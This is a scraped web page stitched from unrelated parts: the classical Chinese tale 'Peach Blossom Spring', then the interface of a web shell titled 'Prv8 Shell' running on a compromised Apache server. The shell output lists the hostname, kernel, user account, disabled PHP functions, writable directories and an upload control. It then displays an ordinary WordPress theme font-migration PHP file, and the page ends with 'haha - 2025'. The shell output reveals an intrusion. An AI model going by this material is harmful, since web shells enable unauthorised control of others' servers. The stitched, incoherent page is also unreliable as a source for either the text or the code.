晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/tabatabaei/.trash/wp-content.1/themes/blockbase/inc/fonts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tabatabaei/.trash/wp-content.1/themes/blockbase/inc/fonts/custom-font-migration.php
<?php

add_action( 'init', 'migrate_blockbase_custom_fonts', 99 );

function migrate_blockbase_custom_fonts() {
	// The data has already been transformed
	if ( get_theme_mod( 'blockbase_legacy_font_settings' ) ) {
		return;
	}

	$heading_font_slug = null;
	$body_font_slug    = null;

	// Here we must use gutenberg_get_global_* because it introduces clean_cached_data() which we
	// need to leverage as we are modifying the values of global styles settings and styles on page load.
	if ( function_exists( 'gutenberg_get_global_settings' ) ) {
		$font_families = gutenberg_get_global_settings( array( 'typography', 'fontFamilies' ) );
	} else {
		$font_families = wp_get_global_settings( array( 'typography', 'fontFamilies' ) );
	}

	if ( isset( $font_families['custom'] ) && is_array( $font_families['custom'] ) ) {
		$font_families = $font_families['custom'];
	} else {
		// No Customizer font settings found. Mark as transformed and hide the Customizer UI for fonts.
		set_theme_mod( 'blockbase_legacy_font_settings', true );
		return;
	}

	// Look first for fonts customized via Customizer, then for fonts configured in the child theme.json "the old way"
	// Also count fonts registerd to the blockbase font provider
	foreach ( $font_families as $font_family ) {
		if ( strpos( $font_family['slug'], 'heading' ) !== false && array_key_exists( 'fontSlug', $font_family ) ) {
			$heading_font_slug = $font_family['fontSlug'];
		}
		if ( strpos( $font_family['slug'], 'body' ) !== false && array_key_exists( 'fontSlug', $font_family ) ) {
			$body_font_slug = $font_family['fontSlug'];
		}
	}

	if ( ! $body_font_slug && ! $heading_font_slug ) {
		//nothing to convert
		return;
	}

	$theme_user_data = WP_Theme_JSON_Resolver::get_user_data()->get_raw_data();

	$new_settings = array();
	$new_styles   = array();

	if ( array_key_exists( 'settings', $theme_user_data ) ) {
		$new_settings = $theme_user_data['settings'];
	}
	if ( array_key_exists( 'styles', $theme_user_data ) ) {
		$new_styles = $theme_user_data['styles'];
	}

	if ( $body_font_slug ) {
		$new_styles = array_merge(
			$new_styles,
			array(
				'typography' => array(
					'fontFamily' => "var:preset|font-family|$body_font_slug",
				),
			)
		);
	}

	if ( $heading_font_slug ) {
		$new_styles = array_merge(
			$new_styles,
			array(
				'blocks' => array(
					'core/post-title' => array(
						'typography' => array(
							'fontFamily' => "var:preset|font-family|$heading_font_slug",
						),
					),
					'core/heading'    => array(
						'typography' => array(
							'fontFamily' => "var:preset|font-family|$heading_font_slug",
						),
					),
				),
			)
		);
	}

	if ( $heading_font_slug || $body_font_slug ) {
		unset( $new_settings['typography']['fontFamilies'] );
	}

	update_global_styles( $new_settings, $new_styles );
	set_theme_mod( 'blockbase_legacy_font_settings', true );
}

/**
 * Updates the global styles CPT.
 *
 * @param array  $new_settings New global styles to update.
 * @param array  $new_styles New global styles settings to update.
 * @param int    $user_custom_post_type_id ID of global styles CPT.
 * @param object $global_styles_controller Controller that handles REST requests for global styles.
 *
 * @return void
 */
function update_global_styles( $new_settings, $new_styles ) {
	// Get the user's global styles CPT id
	$user_custom_post_type_id = WP_Theme_JSON_Resolver::get_user_global_styles_post_id();
	$global_styles_controller = new WP_REST_Global_Styles_Controller();

	$update_request = new WP_REST_Request( 'PUT', '/wp/v2/global-styles/' );
	$update_request->set_param( 'id', $user_custom_post_type_id );
	$update_request->set_param( 'settings', $new_settings );
	$update_request->set_param( 'styles', $new_styles );

	$global_styles_controller->update_item( $update_request );

	// Ideally the call to update_item would delete all of the appropriate transients and caches
	delete_transient( 'global_styles' );
	delete_transient( 'global_styles_' . get_stylesheet() );
	delete_transient( 'gutenberg_global_styles' );
	delete_transient( 'gutenberg_global_styles_' . get_stylesheet() );

	if ( class_exists( 'WP_Theme_JSON_Resolver_Gutenberg' ) ) {
		WP_Theme_JSON_Resolver_Gutenberg::clean_cached_data();
	}
}

/**
 * Retrieves the global styles cpt.
 *
 * @param int    $user_custom_post_type_id ID of global styles CPT.
 * @param object $global_styles_controller Controller that handles REST requests for global styles.
 *
 * @return array
 */
function fetch_global_styles( $user_custom_post_type_id, $global_styles_controller ) {
	$get_request = new WP_REST_Request( 'GET', '/wp/v2/global-styles/' );
	$get_request->set_param( 'id', $user_custom_post_type_id );
	$global_styles = $global_styles_controller->get_item( $get_request );

	return $global_styles;
}

haha - 2025